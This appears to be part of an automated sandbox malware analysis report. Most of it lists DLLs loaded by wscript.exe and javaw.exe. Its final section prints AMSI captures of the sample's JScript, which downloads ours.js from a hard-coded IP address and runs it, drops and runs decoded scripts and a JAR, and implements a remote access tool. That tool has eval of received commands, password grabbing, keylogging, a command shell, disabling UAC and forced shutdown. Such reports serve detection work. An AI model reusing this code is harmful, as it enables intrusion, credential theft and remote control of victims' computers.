Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\icacls.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: msxml3.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wininet.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: napinsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: pnrpnsp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: wshbth.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winrnr.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: mlang.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\wscript.exe	Section loaded: fwpuclnt.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.Shell");var oRUN = WshShell.Run(filepath);}}catch(e){}IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3601.js.csv");ITextStream.WriteLine(" entry:1687 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.3.220.6%2Fweb%2Fours.js%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20fso%20%");IServerXMLHTTPRequest2.open("GET", "http://192.3.220.6/web/ours.js", "false");IServerXMLHTTPRequest2.send();IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3601.js.csv");ITextStream.WriteLine(" entry:1687 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.3.220.6%2Fweb%2Fours.js%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20fso%20%");IServerXMLHTTPRequest2.open("GET", "http://192.3.220.6/web/ours.js", "false");IServerXMLHTTPRequest2.send();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.status();_Stream.Open();_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp/ELMAMV.js", "2");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3601.js.csv");ITextStream.WriteLine(" entry:1687 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.3.220.6%2Fweb%2Fours.js%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20fso%20%");IServerXMLHTTPRequest2.open("GET", "http://192.3.220.6/web/ours.js", "false");IServerXMLHTTPRequest2.send();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.status();_Stream.Open();_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp/ELMAMV.js", "2");_Stream.Close();IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\3601.js.csv");ITextStream.WriteLine(" entry:1687 f:eval a0:%22try%7B%0Avar%20Object%20%3D%20new%20ActiveXObject(%22MSXML2.XMLHTTP%22)%3B%0AObject.Open(%22GET%22%2C%20%22http%3A%2F%2F192.3.220.6%2Fweb%2Fours.js%22%2C%20false)%3B%0AObject.Send()%3B%0Avar%20fso%20%");IServerXMLHTTPRequest2.open("GET", "http://192.3.220.6/web/ours.js", "false");IServerXMLHTTPRequest2.send();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IServerXMLHTTPRequest2.status();_Stream.Open();_Stream.Type("1");IServerXMLHTTPRequest2.responseBody();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp/ELMAMV.js", "2");_Stream.Close();IWshShell3.Run("C:\Users\user\AppData\Local\Temp/ELMAMV.js")
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\adobe.js");IFileSystem3.GetSpecialFolder("2");IFolder.Path();IFileSystem3.GetSpecialFolder("2");IFolder.Path();IXMLDOMNode._00000029("EgSosWuYJvraXmEYYxRnXNZkmFsidQaQvYWHevufBAyWUNZCjGlIxnNqGiCneMvtVafzPxudDllXPDPYfpzWeSTIKgBwtGA");IXMLDOMElement.dataType("bin.base64");IXMLDOMElement.text("dmFyIEcwaj0xODA1NDUzNjYNCnZhciBEV1ZJREIgPSBTdHJpbmcuZnJvbUNoYXJDb2RlKDE4MDU0NTQxMy1HMGosMTgwNTQ1NDEzLUcwaiwxODA1NDU0MjYtRzBqLDE4MDU0NTQ1Ny1HMGosMTgwNTQ1Mzk4LUcwaiwxODA1NDU0ODAtRzBqLDE4MDU0NTQ2Ny1HMGosMTgwNTQ1NDY1LUcwaiwxODA1NDU");IXMLDOMElement.nodeTypedValue();_Stream.Open();_Stream.Type("1");_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp\adobe.js", "2");_Stream.Close();IXMLDOMNode._00000029("EgSosWuYJvraXmEYYxRnXNZkmFsidQaQvYWHevufBAyWUNZCjGlIxnNqGiCneMvtVafzPxudDllXPDPYfpzWeSTIKgBwtGA");IXMLDOMElement.dataType("bin.base64");IXMLDOMElement.text("T0J4UElOTE1OalBXID0gIiIgDQpPaVhDaFFnRWtNeHJPcnZtaCA9IDUwOw0KdmFyIExxTG9BcnNvYVVnTHR3SU5MdERxWW1meURYTUFielJrV1hWRlBtT3FmT0d2enNyUXBlRHlyd0pZS01sZCA9ICJmck1hRHdwV2FDeVplTUxKZ2t5S2d3THh3VHNhT3d2Q0JsTG9DZnJERFZwbWdkVGZsenNhT2F3amZ");IXMLDOMElement.nodeTypedValue();_Stream.Open();_Stream.Type("1");_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.SaveToFile("C:\Users\user\AppData\Local\Temp\word.js", "2");_Stream.Close();IWshShell3.Run("C:\Users\user\AppData\Local\Temp\adobe.js");IWshShell3.Run("C:\Users\user\AppData\Local\Temp\word.js")
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.createObject("wscript.shell");var filesystemobj = WScript.createObject("scripting.filesystemobject");var httpobj = WScript.createObject("msxml2.xmlhttp");//=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=var installname = WScript.scriptName;var startup = shellobj.specialFolders("startup") + "\\";installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";}var spliter = "\|";var sleep = 5000; var response, cmd, param, oneonce;var inf = "";var usbspreading = "";var startdate = "";//=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=instance();while(true){try{install();response = ""; response = post ("is-ready","");cmd = response.split(spliter);switch(cmd[0]){ case "disconnect": WScript.quit(); break;case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break;case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break;case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break;case "uninstall": uninstall(); break;case "up-n-exec": download(cmd[1],cmd[2]); break;case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); break;case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break;case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break;case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break;case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break;case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break;case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break;case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break;case "get-processes": post("is-processes", enumprocess()); break;case "disable-uac": if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; updatestatus("UAC+Disabled+(Reboot+Required)"); } break;case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated");
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\BDl.jar");
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.createObject("wscript.shell");var filesystemobj = WScript.createObject("scripting.filesystemobject");var httpobj = WScript.createObject("msxml2.xmlhttp");//=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=var installname = WScript.scriptName;var startup = shellobj.specialFolders("startup") + "\\";installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";}var spliter = "\|";var sleep = 5000; var response, cmd, param, oneonce;var inf = "";var usbspreading = "";var startdate = "";//=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=instance();while(true){try{install();response = ""; response = post ("is-ready","");cmd = response.split(spliter);switch(cmd[0]){ case "disconnect": WScript.quit(); break;case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break;case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break;case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break;case "uninstall": uninstall(); break;case "up-n-exec": download(cmd[1],cmd[2]); break;case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); break;case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break;case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break;case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break;case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break;case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break;case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break;case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break;case "get-processes": post("is-processes", enumprocess()); break;case "disable-uac": if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; updatestatus("UAC+Disabled+(Reboot+Required)"); } break;case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated");
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.createObject("wscript.shell");var filesystemobj = WScript.createObject("scripting.filesystemobject");var httpobj = WScript.createObject("msxml2.xmlhttp");//=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=var installname = WScript.scriptName;var startup = shellobj.specialFolders("startup") + "\\";installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";}var spliter = "\|";var sleep = 5000; var response, cmd, param, oneonce;var inf = "";var usbspreading = "";var startdate = "";//=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=instance();while(true){try{install();response = ""; response = post ("is-ready","");cmd = response.split(spliter);switch(cmd[0]){ case "disconnect": WScript.quit(); break;case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break;case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break;case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break;case "uninstall": uninstall(); break;case "up-n-exec": download(cmd[1],cmd[2]); break;case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); break;case "down-n-exec": sitedownloader(cmd[1],cmd[2]); break;case "filemanager": servicestarter(cmd[1], "fm-plugin.exe", information()); break;case "rdp": servicestarter(cmd[1], "rd-plugin.exe", information()); break;case "keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 0); break;case "offline-keylogger": keyloggerstarter(cmd[1], "kl-plugin.exe", information(), 1); break;case "browse-logs": post("is-logs", enumfaf(installdir + "wshlogs")); break;case "cmd-shell": param = cmd[1]; post("is-cmd-shell",cmdshell(param)); break;case "get-processes": post("is-processes", enumprocess()); break;case "disable-uac": if(WScript.Arguments.Named.Exists("elevated") == true){ var oReg = GetObject("winmgmts:{impersonationLevel=impersonate}!\\\\.\\root\\default:StdRegProv"); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","EnableLUA", 0); oReg.SetDwordValue(0x80000002,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System","ConsentPromptBehaviorAdmin", 0); oReg = null; updatestatus("UAC+Disabled+(Reboot+Required)"); } break;case "elevate": if(WScript.Arguments.Named.Exists("elevated") == false){try{ oneonce.close(); oneonce = null; WScript.CreateObject("Shell.Application").ShellExecute("wscript.exe", " //B \"" + WScript.ScriptFullName + "\" /elevated", "", "runas", 1); updatestatus("Client+Elevated");
Source: C:\Windows\System32\wscript.exe	Anti Malware Scan Interface: WScript.createObject("wscript.shell");var filesystemobj = WScript.createObject("scripting.filesystemobject");var httpobj = WScript.createObject("msxml2.xmlhttp");//=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=var installname = WScript.scriptName;var startup = shellobj.specialFolders("startup") + "\\";installdir = shellobj.ExpandEnvironmentStrings(installdir) + "\\";if(!filesystemobj.folderExists(installdir)){ installdir = shellobj.ExpandEnvironmentStrings("%temp%") + "\\";}var spliter = "\|";var sleep = 5000; var response, cmd, param, oneonce;var inf = "";var usbspreading = "";var startdate = "";//=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=instance();while(true){try{install();response = ""; response = post ("is-ready","");cmd = response.split(spliter);switch(cmd[0]){ case "disconnect": WScript.quit(); break;case "reboot": shellobj.run("%comspec% /c shutdown /r /t 0 /f", 0, true); break;case "shutdown": shellobj.run("%comspec% /c shutdown /s /t 0 /f", 0, true); break; case "excecute": param = cmd[1]; eval(param); break;case "get-pass": passgrabber(cmd[1], "cmdc.exe", cmd[2]); break;case "uninstall": uninstall(); break;case "up-n-exec": download(cmd[1],cmd[2]); break;case "bring-log": upload(installdir + "wshlogs\\" + cmd[1], "take-log"); 